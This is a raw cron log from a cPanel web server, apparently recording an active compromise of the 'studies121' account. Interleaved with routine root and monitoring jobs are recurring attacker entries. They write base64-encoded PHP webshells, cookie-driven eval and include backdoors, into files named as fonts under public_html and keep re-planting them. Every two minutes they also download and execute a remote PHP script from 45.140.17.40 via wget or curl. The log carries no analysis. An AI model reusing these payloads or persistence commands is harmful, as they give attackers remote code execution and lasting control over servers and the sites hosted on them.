Sep 21 07:16:01 ip-184-168-122-23 CROND[12318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:16:01 ip-184-168-122-23 CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:17:01 ip-184-168-122-23 CROND[12643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:17:01 ip-184-168-122-23 CROND[12645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:17:01 ip-184-168-122-23 CROND[12647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:17:01 ip-184-168-122-23 CROND[12646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:18:01 ip-184-168-122-23 CROND[12782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:18:01 ip-184-168-122-23 CROND[12781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:18:01 ip-184-168-122-23 CROND[12784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:18:01 ip-184-168-122-23 CROND[12786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:18:01 ip-184-168-122-23 CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:19:01 ip-184-168-122-23 CROND[12934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:19:01 ip-184-168-122-23 CROND[12937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:19:01 ip-184-168-122-23 CROND[12938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:19:01 ip-184-168-122-23 CROND[12936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:20:01 ip-184-168-122-23 CROND[13087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:20:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:20:01 ip-184-168-122-23 CROND[13092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13097]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:20:01 ip-184-168-122-23 CROND[13101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:21:01 ip-184-168-122-23 CROND[13295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:21:01 ip-184-168-122-23 CROND[13298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:21:01 ip-184-168-122-23 CROND[13297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:21:01 ip-184-168-122-23 CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:22:01 ip-184-168-122-23 CROND[13430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:22:01 ip-184-168-122-23 CROND[13431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:22:01 ip-184-168-122-23 CROND[13432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:22:01 ip-184-168-122-23 CROND[13435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:22:01 ip-184-168-122-23 CROND[13436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:23:01 ip-184-168-122-23 CROND[13693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:23:01 ip-184-168-122-23 CROND[13698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:23:01 ip-184-168-122-23 CROND[13699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:23:01 ip-184-168-122-23 CROND[13701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:24:01 ip-184-168-122-23 CROND[13831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:24:01 ip-184-168-122-23 CROND[13832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:24:01 ip-184-168-122-23 CROND[13833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:24:01 ip-184-168-122-23 CROND[13837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:24:01 ip-184-168-122-23 CROND[13834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:25:01 ip-184-168-122-23 CROND[13986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:26:01 ip-184-168-122-23 CROND[14158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:26:01 ip-184-168-122-23 CROND[14160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:26:01 ip-184-168-122-23 CROND[14163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:26:01 ip-184-168-122-23 CROND[14162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:26:01 ip-184-168-122-23 CROND[14159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:27:01 ip-184-168-122-23 CROND[14303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:27:01 ip-184-168-122-23 CROND[14304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:27:01 ip-184-168-122-23 CROND[14308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:27:01 ip-184-168-122-23 CROND[14307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:28:01 ip-184-168-122-23 CROND[14491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:28:01 ip-184-168-122-23 CROND[14495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:28:01 ip-184-168-122-23 CROND[14493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:28:01 ip-184-168-122-23 CROND[14494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:28:01 ip-184-168-122-23 CROND[14496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
